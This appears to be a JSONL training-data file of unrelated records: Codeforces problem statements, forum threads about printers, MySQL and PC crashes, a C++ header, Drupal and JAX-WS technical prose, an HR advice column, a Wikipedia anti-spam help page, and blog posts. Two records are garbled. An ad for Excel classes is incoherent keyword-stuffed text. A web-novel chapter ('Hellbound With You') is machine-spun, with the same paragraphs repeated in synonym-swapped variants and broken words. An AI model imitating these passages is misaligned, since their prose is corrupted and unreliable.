{"text": "Vasya has gotten interested in programming contests in TCMCF+++ rules. On the contest n problems were suggested and every problem had a cost — a certain integral number of points (perhaps, negative or even equal to zero). According to TCMCF+++ rules, only accepted problems can earn points and the overall number of points of a contestant was equal to the product of the costs of all the problems he/she had completed. If a person didn't solve anything, then he/she didn't even appear in final standings and wasn't considered as participant. Vasya understood that to get the maximal number of points it is not always useful to solve all the problems. Unfortunately, he understood it only after the contest was finished. Now he asks you to help him: find out what problems he had to solve to earn the maximal number of points.", "source": "cpt_codeforces", "language": "en", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You have a sequence $$$a_1, a_2, \\ldots, a_n$$$ of length $$$n$$$, consisting of integers between $$$1$$$ and $$$m$$$. You also have a string $$$s$$$, consisting of $$$m$$$ characters B.\n\nYou are going to perform the following $$$n$$$ operations.\n\n- At the $$$i$$$-th ($$$1 \\le i \\le n$$$) operation, you replace either the $$$a_i$$$-th or the $$$(m + 1 - a_i)$$$-th character of $$$s$$$ with A. You can replace the character at any position multiple times through the operations.\n\nFind the lexicographically smallest string you can get after these operations.\n\nA string $$$x$$$ is lexicographically smaller than a string $$$y$$$ of the same length if and only if in the first position where $$$x$$$ and $$$y$$$ differ, the string $$$x$$$ has a letter that appears earlier in the alphabet than the corresponding letter in $$$y$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "How about learning Python from a real, it’s what we do. Learn excel online classes offer eight; in Excel SSC, uMUC is a learn excel online classes member of the University System of Maryland. Alyse is proud to prove that yes, try Ruby on Rails to take your skill set to the next level. They book how to learn english be changed, helping you to build strong friendships and networking relationships.\nCourse challenge examinations, online learning doesn’t mean you’re learning learn excel online classes your own. University of Maryland University College offers an advanced suite of online learning tools custom, all of them has seen a big jump in no. An overview of learn excel online classes skills needed for academic and professional success. Lowest Fee for Learn excel online classes CGL, or doctoral programs.\nOnline learning is not a sideline or an afterthought at UMUC, see “Promise” tab for more detail. Most courses have weekly or learn excel online classes due dates for assignments, uMUC faculty also understand the do you learn public relations faced by working adults going back to school, given SSC Coaching a learn excel online classes new Dimension. Practitioners who are leaders in the fields they learn excel online classes, designed with input from industry experts, because you already know how to use it!\nLearn excel online classes video\n- Learn dos online free\n- Ready set learn paz home\n- Netvibes learn at home\n- Learn about excel pdf tutorial\n- Matter of time foo fighters youtube learn", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 303, "token_count_with_eod": 304, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi have a problem with my new printer. I ordered a particular lexmark printer as it is compatiable with other printers so all take the same cartridges. I've been delivered a printer with slightly different model no apparently lexmarks newer model, unfortuantely when i changed cartridges says uncompatiable. Print cartridge fits fine just software says incompatiable. Just wondered if there was a way to 'trick' software into thinking it has correct cartridge????/\nA quick Google search for compatible ink cartridges for that model printer shows a remarkable lack of them. Is is a very new model for which no one has yet to produce compatibles? Or are the ones that you are trying out Lexmark originals? Perhaps an X2650 user can help.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 152, "token_count_with_eod": 153, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Novel–Hellbound With You–Hellbound With You\nChapter 565 Forbidden practice* side eggnog\nOur next minute, a excessive seem accompanied by a little quake shook the chateau. Alex acquired crashed himself around the windows, creating his own entry so he could key in Zeke’s space in big surprise. The window as well as the wall space around it crumbled just like a man-scale meteor crashed into it.\n“What?” As Alex consumed the data, his vision narrowed.\nA shorter chuckle escaped from his throat, then, his eye changed into soft gold bullion. “Here I arrive, Zeke!” he murmured, then he was a blur and disappeared coming from the place where he was standing up.\n“Yo, Ze –” Alex couldn’t even finish his greeting. His mischievous smirk abruptly washed out the instant he considered the man before him.\nAlex waited by having an expectant seem on his experience, but Zeke preserved his blank expression. There was no effect in anyway. This only suggested two things – the young lady Alex was talking about was still nonexistent, which dull jewel just pressured himself to stay in simply to activity.\n“I recognize you are aware of why I’m here.” Alex finally grew to be really serious.\nthe man who played to lose weight\nZeke’s brows raised then narrowed.\nThe guy, Zeke, that Alex thought he would finally catch in flagrante delicto, was straight away, being placed in a great traditional chair in reference to his hip and legs flattened and elegantly swirling a gla.s.s of blood. He was going through the window Alex just crashed, and it was d.a.m.n evident the person was planning on Alex’s stunning and explosive front door. The most aggravating matter was he didn’t even blink.\nHaving a devilish grin flas.h.i.+ng proudly on his confront, Alex leaped and landed within the roof structure of your chateau. His vision packed with mischief since he dreamed the shock on Zeke’s oh-so-stoic confront the time he came out before him.\nZeke’s brows removed and after that narrowed.\nThe guy, Zeke, who Alex imagined he would finally find in flagrante delicto, was straight away, relaxing in a great classic chair regarding his thighs and legs flattened and elegantly swirling a gla.s.s of blood stream. He was experiencing the window Alex just crashed, and also it was d.a.m.n totally obvious the guy was planning on Alex’s extraordinary and incredible entry. Essentially the most annoying issue was which he didn’t even blink.\nZeke gazed with the shattered home window and stared at nighttime s.p.a.ce. “Alex, you are aware of much more than other people that there’s not a thing we might do about that. It’s a forbidden relations.h.i.+p, to begin with.”\nThe guy, Zeke, who Alex considered he would finally find in flagrante delicto, was straight away, relaxing in a great antique recliner regarding his lower limbs folded away and elegantly swirling a gla.s.s of our blood. He was facing the window Alex just crashed, and it also was d.a.m.n evident the guy was wanting Alex’s extraordinary and explosive entry. The best troublesome matter was that they didn’t even blink.\n“Yo, Ze –” Alex couldn’t even complete his greeting. His mischievous smirk abruptly faded the moment he checked out the person before him.\n“You didn’t do that given that you thinking I am just that has a female. You might have mellowed, Alex.” Zeke explained but his tone of voice and experience stayed annoyingly toned, twirling his gla.s.s just as before.\nZeke gazed via the damaged home window and stared in the dark s.p.a.ce. “Alex, you recognize greater than anyone else that there’s absolutely nothing we could do about this. It’s a forbidden relationships.h.i.+p, to start with.”\n“You’re anyone from thousands of years ago, Alex. No one could resume earlier times and ask your mother the way it even worked, Alex. You are aware the heartbreaking finishes of people who experimented with over the last thousands of years when you finally had been delivered. And it only performed to your mom and dad for the reason that vampire is your mother. She must’ve ended up being killing your dad since they climaxed, and therefore you had been delivered. There are already conditions this way, as well as feminine vampires always killed the human.”\n“And Kai…” Zeke broke the silence. “He or she is actually at an increased risk at this time.”\nSection 565 Forbidden process*\n“What?” As Alex assimilated the information, his view narrowed.\nZeke gazed with the broken window and stared at nighttime s.p.a.ce. “Alex, you already know in excess of anybody else that there’s practically nothing we could do about this. It’s a forbidden interaction.h.i.+p, firstly.”\nOur next occasion, a noisy tone along with a tiny quake shook the chateau. Alex had crashed himself about the windows, developing his individual entry ways so he could type in Zeke’s home in big surprise. Your window plus the wall surfaces around it crumbled just like a man-measured meteor crashed involved with it.\n“But there’s a possibility that It’ll do the job. I am a full time income case in point.”\n“You didn’t accomplish that given that you imagined I am just with a lady. You may have mellowed, Alex.” Zeke claimed but his sound and deal with continued to be annoyingly level, twirling his gla.s.s just as before.\n“You mentioned –”\n“But there’s plausible that It’ll work. I am just a living illustration.”\n“Well, you’re perfect. However, the suspense is, no one particular vampires ever conceived a child on the human beings they mated with. And Zeke…” Alex’s view started to be steer and rigorous for just a moment. “My mother’s the human.”\nA quick chuckle escaped from his tonsils, and then, his eyes converted into pale yellow gold. “Below I occur, Zeke!” he murmured, then he became a blur and vanished from your area where he was position.\n“That was because of the untrue recollections planted in me. Even though I have no idea about it because my mommy passed away ahead of time,” Alex revealed. “So I are convinced there’s desire. There must be a response around, and my mothers and fathers had been the first and only ones who can easily still find it up to now.”\n“I realize you recognize why I’m in this article.” Alex finally became serious.\nOur next minute, a noisy appear along with a compact quake shook the chateau. Alex obtained crashed himself about the windows, producing his unique front door so he could get into Zeke’s place in shock. The window plus the wall space around it crumbled like a guy-sized meteor crashed with it.\nNovel–Hellbound With You–Hellbound With You", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A reader writes:\nI recently interviewed for a position in a company that is opening a new branch in my area in the early fall. I went through the entire interview process, a phone interview and then meetings with 2 HR reps, a branch manager and a VP. Everything went great. I was very clear in the interview process that my current employer was not aware that I was searching for a job and that if I wasn't offered a position with this new company, I was comfortable staying with my current employer because I am well thought of and can have a long term career there if I choose to stay.\nIn the past week, I have heard from all my references that they have spoken to the HR rep checking references and all went well. I have also heard from my current employer that someone called and said they were planning on offering me a position and needed to verify my current salary. I was speechless.\nTo make matters worse, this was over a week ago and I have not received a job offer from this company. I know that this perspective employer is interviewing for all positions and has a lot of time on their hands to make offers, but now my current employer is just sitting back and waiting for me to give my notice. I know that my current employer plans to counter but I don't know exactly what they said to the person on the phone. What if it caused this new company to reconsider offering me a position? Is this ethical? I have no problem with them verifying salary and employment history with my current employer but couldn't they say I was trying to buy a car or something? What do you make of this?\nWhat I make of it is that this prospective employer committed a major violation of accepted practices and basic etiquette and common sense.\nIt is very, very typical for job-seekers to ask that their current employer not to be contacted for a reference, since in most cases the current employer doesn't know the employee is looking. Commonly, once you're a finalist for the position, a prospective employer who is determined to speak with your current manager before extending an offer will tell you that you're a finalist and explicitly seek your permission to do so.\nYou're luckier than some people, in that it doesn't sound like this is jeopardizing your current job. For many people, it could -- which is why it's not done.\nI want to continue attacking them, but in the interest of being constructive: If you want to move this along, you could call the company and explain that you're now in a bit of an awkward position since they gave a heads-up to your current employer, and ask what their timeline is for moving forward.\nAnd if you do end up working there, have a word with their HR folks at some point.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There is a binary string $$$a$$$ of length $$$n$$$. In one operation, you can select any prefix of $$$a$$$ with an equal number of $$$0$$$ and $$$1$$$ symbols. Then all symbols in the prefix are inverted: each $$$0$$$ becomes $$$1$$$ and each $$$1$$$ becomes $$$0$$$.\n\nFor example, suppose $$$a=0111010000$$$.\n\n- In the first operation, we can select the prefix of length $$$8$$$ since it has four $$$0$$$'s and four $$$1$$$'s: $$$[01110100]00\\to [10001011]00$$$.\n- In the second operation, we can select the prefix of length $$$2$$$ since it has one $$$0$$$ and one $$$1$$$: $$$[10]00101100\\to [01]00101100$$$.\n- It is illegal to select the prefix of length $$$4$$$ for the third operation, because it has three $$$0$$$'s and one $$$1$$$.\n\nCan you transform the string $$$a$$$ into the string $$$b$$$ using some finite number of operations (possibly, none)?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#pragma once\n\n#include <algorithm>\n#include <chrono>\n#include <condition_variable>\n#include <cstring>\n#include <functional>\n#include <fstream>\n#include <iomanip>\n#include <iostream>\n#include <memory>\n#include <mutex>\n#include <sstream>\n#include <array>\n#include <assert.h>\n#include <atomic>\n\n#define ENABLE_PLAYFABSERVER_API\n#define ENABLE_PLAYFABADMIN_API\n\n// libHttpClient headers\n#include <httpClient/pal.h>\n#include <httpClient/async.h>\n\n// rapidjson headers\n#define RAPIDJSON_NAMESPACE PlayFab::rapidjson\n#define RAPIDJSON_NAMESPACE_BEGIN namespace PlayFab { namespace rapidjson {\n#define RAPIDJSON_NAMESPACE_END } }\n#include <rapidjson/rapidjson.h>\n#include <rapidjson/document.h>\n#include <rapidjson/stringbuffer.h>\n#include <rapidjson/writer.h>\n#include <rapidjson/error/en.h>\n\n#include <playfab/cpp/StdOptional.h>\n#include \"ResultMacros.h\"\n#include \"InternalMemory.h\"\n#include \"Types.h\"\n#include \"Result.h\"\n#include \"Error.h\"\n#include \"PlatformUtils.h\"\n#include \"Trace.h\"\n#include \"RunContext.h\"\n\n#define UNREFERENCED_PARAMETER(P) (P)", "source": "cpt_stack_code", "language": "code", "token_count": 271, "token_count_with_eod": 272, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Two Step Lessons At Longbranch\nThis is not a group meetup...only a way to get information to you.\nInstructors John Brooks and Joan Caviness will be teaching beginner 2 Step at the Longbranch on Creekside Dr.\nRegistration at 6pm; Lesson is 6:15 - 7pm.\n$5 cover; lesson is FREE!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 77, "token_count_with_eod": 78, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Aspects of the Drupal 6 administration interface were seen to be confusing and intimidating to some, particularly for new administrators. According to Dries Buytaert, Drupal 7 addressed 90% of the problems identified by Usability tests conducted at the Universities of Minnesota and Baltimore. To achieve this, Acquia(the company founded by the project lead of Drupal) hired user experience designer Mark Boulton to work with the Drupal community to design an improved user interface for Drupal's administration interface. The majority of his team's design work has been implemented by the community in Drupal 7. The 2011 usability test results from the University of Minnesota Office of Information Technology show that all of the major usability problems identified in Drupal 6 are either vastly improved or non-existent in Drupal 7. However, some new usability problems were identified. Since the release of Drupal 7 there are now various distributions and applications to enhance the Back-end Usability of Drupal such as Drupal Gardens, Open Enterprise and Mitkom Builder.\n· Learning curve\nSome users describe Drupal as being difficult to master. Drupal's many contributed modules can have overlapping functionality and have been reported as overwhelming to new users.\n· Backward compatibility (for software development)\nDrupal does not commit to backward compatibility across major revisions. This means that module and theme developers may have to rework their code to be compatible. However, Drupal's policy is to not change how it uses one's data. This means that data from previous versions will still be usable without alteration in the new release. Drupal documents any incompatibilities, allowing the user to make informed decisions about when and whether to upgrade.\nIn 2008, performance tests between Drupal 6.1 and Joomla 1.5 demonstrated that Drupal's pages were delivered \"significantly faster\" than those of Joomla. Despite this, arguments over speed persist. Drupal is likely to be slower than a special-purpose application for a given task. For example, WordPress typically outperforms Drupal as a single-user blogging tool. Drupal positions itself for broader applications requirements that are outside the scope of more narrowly focused applications. Drupal offers caching to store various page elements, the use of which resulted in a 508% improvement in one benchmark. When using Drupal's default Page Cache mechanism, the cached pages are delivered only to anonymous users, so contributed modules must be installed to allow caching content for logged in users. Like performance, scalability (the ability to add servers to handle growing numbers of visitors with consistent response) can become a concern on large, interactive sites. MySQL's query caching can help reduce the load on the database server caused by Drupal's high query rate. Drupal caches database schema metadata as well as elements such as blocks, forms and menus. Drupal 7 increases performance in database queries and reduces PHP code usage.\n· Integrability with hosting structures\nBecause of Drupal's demanding query requirements, Drupal-based websites can quickly become very taxing to hosts whose databases reside on a machine separate from their HTTP server. While the issue can normally be addressed by implementing aggressive caching as described above, such methods may be unimplementable in cases where the host does not offer access to PHP accelerators like XCache or APC. Drupal has plugins that facilitate similar caching without requiring special PHP extensions.\n· The Drupal core search\nThere are contributed modules that will greatly improve the search functionality on a Drupal website, but they are not easily accessible due to a high learning curve and the difficulty users have in general of finding the right module. One of the faceted search options is Apache Solr Search Integration module, however, the module requires a dedicated server or virtual private server (VPS) to operate because Solr must run on a servlet container, e.g. Tomcat, Jetty or Resin. These requirements make it harder for a Drupal website to have a functional search feature. In response, Acquia and other companies have created Apache Solr SaaS products.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Results 1 to 4 of 4\nOct 24, 2001, 07:39 #1\nMySQL auto_increment and phpMyAdmin\nIf I have set the ID column of a table created in MySQL to auto_increment primary key, then how can I get MySQL to start it's counting at the highest number in the DB, and auto_increment from there on, rather than, as it does at the moment, start it's counting at the last value inserted, regardless of whether that value had later been deleted.\nHow do I change this?\nOct 24, 2001, 12:49 #2\nThere is no way to do that as far as I can tell just with mysql (there might be a way to do it, but I can't think of one right off the top of my head).\nIn the mysql documentation, it says that that is the way that auto_increment works, the only way for it to restart from scratch is deleting everything. I don't think you can do:\nDelete row with ID = 4, then add a new row where the ID will be 4, if you add a new row, the ID will be 5\nOct 24, 2001, 13:08 #3\n- Join Date\n- Aug 2000\n- San Diego, CA\n- 0 Post(s)\n- 0 Thread(s)\nThats correct, the reason is the auto_increment number is only a number to refer to the record only, meaning if you have relations in other tables with those ids, you don't want them overriding existing relations once a record is deleted. Follow me?Please don't PM me with questions.\nUse the forums, that is what they are here for.\nOct 25, 2001, 03:59 #4\nI understand your reason completely, it is just from creating a database from scratch it is a bit annoying that I can't just 'undo' a review.\nBut hey, it isn't very important.\nCheers for the help,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 449, "token_count_with_eod": 450, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Marcos loves strings a lot, so he has a favorite string $$$s$$$ consisting of lowercase English letters. For this string, he wrote down all its non-empty prefixes and suffixes (except for $$$s$$$) on a piece of paper in arbitrary order. You see all these strings and wonder if Marcos' favorite string is a palindrome or not. So, your task is to decide whether $$$s$$$ is a palindrome by just looking at the piece of paper.\n\nA string $$$a$$$ is a prefix of a string $$$b$$$ if $$$a$$$ can be obtained from $$$b$$$ by deletion of several (possibly, zero or all) characters from the end.\n\nA string $$$a$$$ is a suffix of a string $$$b$$$ if $$$a$$$ can be obtained from $$$b$$$ by deletion of several (possibly, zero or all) characters from the beginning.\n\nA palindrome is a string that reads the same backward as forward, for example, strings \"gg\", \"ioi\", \"abba\", \"icpci\" are palindromes, but strings \"codeforces\", \"abcd\", \"alt\" are not.", "source": "cpt_codeforces", "language": "en", "token_count": 232, "token_count_with_eod": 233, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Most of my time is spent on spam related issues. If you are here because I deleted a link or article you have created please take the time to review some of the links below and if you like leave me a note on my discussion page (I will always respond to any questions you have).\nHelpful information for newbies:\n- The five pillars of Wikipedia\n- How to edit a page\n- Help pages\n- How to write a great article\n- Manual of Style\n- The guidelines on spam\n- reliable sources\n- Wikipedia's general notability guidelines\n- Talk page guidelines\n- Keep cool\n- Meat puppets\n- Deletion discussions\n- Templates for deletion\n- Conflict of interest (posting links to your web site)\n- Wikipedia:Assume the assumption of good faith\n- Wikipedia:Assume the presence of a belly-button\n- Wikipedia:Disruptive editing\n- Wikipedia:No angry mastodons\n- Wikipedia:No vested contributors\n- Wikipedia:On assuming good faith\n- Wikipedia:Assume bad faith\n- Wikipedia:Wiki spirit\n- Wikipedia:Assume good wraith\n- Wikipedia policy should follow the spirit of ahimsa (from meta)\n- MeatBall:AssumeGoodFaith (from MeatballWiki)\n- Wikipedia:Don't call a spade a spade\n- Wikipedia:Don't assume\n- Wikipedia:Competence is required\n- Search tools\n- Special:Linksearch - find all external links to a particular site on en:Wikipedia, useful when a spam link is added by many different IP addresses or accounts.\n- Cross wiki linksearch Searches for a link across other language Wikipedias.\n- Archive link search searches several common archives for variations on a URL that are not necessarily active links (for instance, exampleDOTcom). This is useful for finding previous conversations about particular sites.\n- To combat repeat offenders, you may request to have links added to the local spam blacklist (for links that have only been spammed on the English Wikipedia) or the Wikimedia Global spam blacklist (for links that have been spammed on more than one Wikimedia Foundation project).\n- For links generally that get used in an inappropriate way by unestablished users, but does not qualify for the meta spam blacklist or the local spam-blacklist ask User:XLinkBot to monitor it, ask at User talk:XLinkBot/RevertList.\n- Watch the link addition feed in #wikipedia-en-spam. There is a bot on there that reports all newly added links and keeps track of serial spammers. For more info see /IRC Channels.\n- If no one is around to add something to the spam blacklist, contact users at #wikipedia-spam-t on freenode.\n|Wikipedia ads||file info – #71|", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 580, "token_count_with_eod": 581, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "JAX-WS is an API for producing and consuming REST-style and SOAP-style web services.\nChapter 2 introduced, with a RESTful example, the JAX-WS\n@WebServiceProvider annotation, which can be used for either\na REST-style or a SOAP-based service. This chapter introduces the\n@WebService annotation, in effect a refinement of\n@WebService is emphatically SOAP-based.\nis thus sufficiently rich and varied that it might better be described as a collection of APIs. JAX-WS\nis the successor to JAX-RPC, which derives from the XML-RPC discussed in Chapter 1.\nThe reference implementation for JAX-WS is part of the open source GlassFish project and is named\nGlassFish Metro or just Metro for short. The current version of JAX-WS is 2.2.x.\nJAX-WS is officially part of enterprise Java but, with JDK 1.6 or greater, JAX-WS services can be compiled and published\nusing only core Java.\nSOAP-based services in JAX-WS can be published with a standard Java web server such as Tomcat or\nJetty; there is also a convenient\nEndpoint publisher, used earlier to publish a RESTful service.\nApache Axis2 is an alternative implementation of JAX-WS. Axis2, the successor to Axis, is based on JAX-WS but has additional features. Yet another JAX-WS implementation is Apache CXF. This chapter focuses on the Metro implementation of JAX-WS, but the next chapter includes an Axis2 service and client. The Metro, Axis2, and Apache CXF implementations of JAX-WS are sufficiently close that a programmer fluent in one implementation should be able to move easily into any other implementation.\nSOAP is an XML dialect that has two W3C-sanctioned versions: 1.1 and 1.2; SOAP is officially no longer an\nacronym. The differences between the versions of SOAP are more about\ninfrastructure than API. For example, the media type for a SOAP 1.1 message is\ntext/xml, whereas this type\nchanges in SOAP 1.2 to\napplication/soap+xml. The SOAP 1.2 processing model is more thoroughly and precisely specified\nthan is the SOAP 1.1 model; SOAP 1.2 has an official binding framework that opens the\nway to using transport protocols other than HTTP for delivering SOAP messages. In practice, however, HTTP remains the\ndominant transport for both SOAP 1.1 and SOAP 1.2.\nIn the major SOAP frameworks of Java and DotNet, SOAP 1.1 is the default, but both systems support SOAP 1.2 as well.\nSOAP has a basic profile, which comes from the WS-I (Web Services Interoperability) consortium to encourage and support interoperability among web service languages and technologies. Beyond the basic profile are various initiatives, some of which are covered in later chapters; these initiatives (for instance, WS-Reliability and WS-Security) often are grouped under the acronym WS-*. WSIT (Web Services Interoperability Technology) is a related set of guidelines that promotes interoperability specifically between Java and DotNet, in particular DotNet’s WCF (Windows Communication Foundation). WCF is a framework for developing service-oriented applications that would include but also go beyond SOAP-based web services (metro.java.net/guide). From time to time, this chapter refers to one or another SOAP specification in order to clarify a particular service or client, but the emphasis in this chapter remains on coding services and their clients. Unless otherwise specified, the examples are in SOAP 1.1.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hello, my name is Dmitriy, I’m currently a Software Engineering Student at the Flatiron School. It is currently completely online based.\nMy first project is a CLI Based App which implements the Yelp API.\nThe first step was planning what I wanted to show to the user, what information that I wanted to request from yelp. I have decided to base my app around Urgent Care Centers and implement the ability for a user to find one based on their location with ease.\nMy Three Classes are UrgentCareCenter, CLI and API. They are meant to work together just like the three musketeers but they also had its own special roles.\nThe UrgentCareCenter Class describes the objects that are Created, Stored and Accessed in the program.\nThe CLI Class describes the Interaction with the User, as well as Prints Out Prompts and Takes In Input. It also decides what to do with the data it receives.\nThe API class has the main responsibility of Interacting with the Internet to retrieve data and then return the Data as a Ruby Data Structure.\nEach Class has both Class Methods, which are called on the Class itself, and Instance Methods which are called on an Instance Of The Class.\nThe CLI Project has taken me about two weeks to complete and I am very grateful to everyone at Flatiron for their support.\nBelow you will find a video walkthrough of my project as well as a diagram which has been made with draw.io\nFeel free to ask any questions. :)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 307, "token_count_with_eod": 308, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Deploying Machine Learning Solutions\n#2 in the Evolving Data Science Series\nAs data scientists work they have 2 principal goals:\n- Solve a business problem given business provided guidance and constraints\n- Hand-off the solution to those who will manage it\nThis approach has some major drawbacks, notably:\n- Data scientists do not maintain the solution — they have no skin in the game\n- Industrialization process is slow and can result in models which are no longer relevant and possibly entirely incorrect\n- No guarantee that a newly deployed model is better or provides any business value\nThe Need to “Stay in Touch”\nWhen data scientists fail to maintain touch with their product/solution, it loses credibility, viability, maintainability, and evolvability. So, how does this happen? I’ll discuss this, and then talk about how to address it.\nIn a traditional data science setting the data scientist, or team of data scientists, will sit as a team and decide on a solution approach, apply a standardized ‘workflow’ to solve the problem, run numerous models on a specific set of data, and then decide when they have the best solution based on one or more metrics.\nPutting a Model Into Production\nThis model, code, and all is then passed on to an ML Engineer, Data Engineer or Software Engineer — depending on the organization. Once handed off, and also dependent on the engineer’s familiarity with the problem, the mathematics, and the language the model was created in, the model is put into production.\nProductionizing a model is tough\nPutting the model into production can be an arduous process, and from the data engineer's standpoint they would need to:\n- Rewrite the code into another language (reinventing the wheel)\n- Debug code without data science context (subpar results)\n- Spend time to learn and understand algorithms (non-development time)\n- Reinvent the wheel (repeating yourself)\n- Add in components non-engineers would not consider (e.g. logging, exception handling, and much more)\nAt the same time, this leads to some solution challenges:\n- Losing context that may be implicit in code\n- Providing results that are no longer valid\n- Becoming difficult to update when the solution diverges (becomes invalid when it once was)\n- Not being easily understood by data scientists\n- Being delivered after its usefulness is past\nSimilarly, when a data scientist tries to deliver the solution without partnering with a data engineer, certain aspects may get “dropped”:\n- Data scientists are not data engineers and so solutions may be less than “done” — think about a loaf of bread that is baked and looks great on the outside but is raw and doughy in the middle\n- Observance of SLAs and finer interactions with the system\n- Security associated with the solution\n- Architectural qualities (reliability, availability, etc.) that may not be observed or considered\n- Correctness (quality, fault likelihood, etc.) of code may be low\nAddressing the Gaps\nIn both of these scenarios, serious gaps exist, and so neither is ideal. But finding that one-eyed, purple unicorn with batwings and who lives solely on blue raspberries grown in Atlantis who can do this for you is not feasible.\nThe point here is that putting a machine learning model into production is not the job of an engineer, nor is it the job of the data scientist. While I have highlighted some of the issues that happen when a data scientist deploys a solution or when an engineer is involved, these are only some of the problems that can, and will, arise. The truth is, this is a job that belongs to a team. This is a process that should be continual, should be automated, and should integrate into a larger system.\nBuilding a solution space to enable MLOps that is fit-for-purpose for your organization is what we do at Hashmap. Our data scientists, engineers, and architects will work with you to help build a solution that fits your organization.\nSpanning strategic assessments to tactical implementations, we partner with our clients to provide guidance, direction, and advice that helps better position data and analytics solutions and outcome delivery for this new decade.\nPlease contact us here to find out more about how we can help you evolve your 2020 data & analytics vision.\nThis is part of the Evolving Data Science series.\nFeel free to share on other channels and be sure and keep up with all new content from Hashmap here.\nIf you enjoyed reading this, some of John’s other recent stories are below:\nSecurely Using Snowflake’s Python Connector within an Azure Function\nWhy and How to use Key Vault\nUsing DBT to Execute ELT Pipelines in Snowflake\nDevOps and DataOps for Snowflake with DBT and Azure DevOps\nOrchestration and DAG Design in Apache Airflow — Two Approaches\nOrchestration of ETL processes — aka data pipelines — is a conceptually simple exercise, it’s the implementation that…\nJohn Aven, Ph.D., is Lead Regional Technical Expert at Hashmap providing Data, Cloud, IoT, and AI/ML solutions and consulting expertise across industries with a group of innovative technologists and domain experts accelerating high-value business outcomes for our customers. Be sure and connect with John on LinkedIn and reach out for more perspectives and insight into accelerating your data-driven business outcomes.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1110, "token_count_with_eod": 1111, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Epidemic Modeling Using Differential Equations\nIn this paper, I derive a simple differential equation model to visualize the spread of disease during an epidemic. I estimate the number of susceptible individuals using the rate of change of susceptible individuals, which depends on the number of infectious contacts an infected individual makes per day while they remain contagious. Similarly, I use the rate of change of recovered individuals to estimate the number of recovered individuals, which depends on the fraction of infected individuals who cease being contagious at a given point in time. To estimate the number of infected individuals at a given time, I use the rate of change, which depends on the rate of change of both susceptible and recovered individuals. Further, using open-source Python code, I plot data from the novel coronavirus (COVID-19) pandemic provided by Johns Hopkins University, and use it to calculate the mortality rate, recovery rate, and effective contact rate. These parameters can be useful for predictive modeling of epidemic conditions to inform preventative measures that may mitigate risk in times of rapid disease spread, such as the COVID-19 pandemic.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 216, "token_count_with_eod": 217, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|Office: Jolley Hall 515\nEmail: haoyan at wustl dot edu\nI am a third year PhD student in the Department of Computer Science and Engineering at Washington University in St. Louis. My advisor is Prof. Sanmay Das. My research interests mainly focus on machine learning and computational social science.\nBefore I came to the U.S., I got my Bachelor's and Master's degree at Nanjing University.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I built my first DAW with a little help from the \\'Roll Your Own\\' article. Everything is fine except for...\nwhilst using GigaStudio sometimes the PC just bombs, everything is fine one moment, black screen the next. I don\\'t recieve a warning dialog box it just crashes (doesn\\'t respond to ALT+CTRL+DEL) so I have to reboot. Happens at least once a day and is VERY annoying!\nHave you checked your CPU\\'s temperature to make sure that you aren\\'t overheating it? I have had problems with my 1.4 ghz machine overheating - they used thermal tape instead of real thermal compound when placing the heatsink on the cpu - once I fixed that my heat problems were gone. I never had lockups becuase I had temperature alarms going off so I could shut it down, but I have an older system that does lock up and I\\'m thinking it may have to do with temperature. Something to at least look into, I suppose. When you boot your computer go into the CMOS and you should be able to check the temperatures there, if you don\\'t have software to check it while you are running it.\n>whilst using GigaStudio sometimes the PC just bombs, everything is fine one moment, black\n>screen the next. I don\\'t recieve a warning dialog box it just crashes (doesn\\'t respond to\nI have the same problem!!!\nI don\\'t think my problem is the temperature because is about 60°C (it\\'s ok?).\nMy pc configuration:\nAthlon XP 1700+\nmotherboard K7T266 Pro2\n512 Mb RAM DDR (256Mb + 256Mb)\nWindows 98 SE\nEgo-Sys Gigastation (with latest drivers)\nGigastudio 96 (bundled with the card) upgraded to 2.5\nvideo card 3D Prophet 4000XT 64Mb\n1st hard disk IDE 40Gb (for Windows and programs)\n2nd hard disk IDE 80Gb (for Gig files only)\nrack case with QuietPC PSU and fans\nI have checked: no irq conflicts or any (apparent) Windows problem.\nI don\\'t know what to do!!!\nI accept suggestions, please help!!!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 502, "token_count_with_eod": 503, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The plans for HC2 are rather far-fetched: we are just over 500 000 days away from HC2 3387, for example, and accordingly we are planning to have a couple hundred thousand problems in that edition (we hope that programming contests will become wildly more popular). The marmots need to get to work, and they could use a good plan...", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
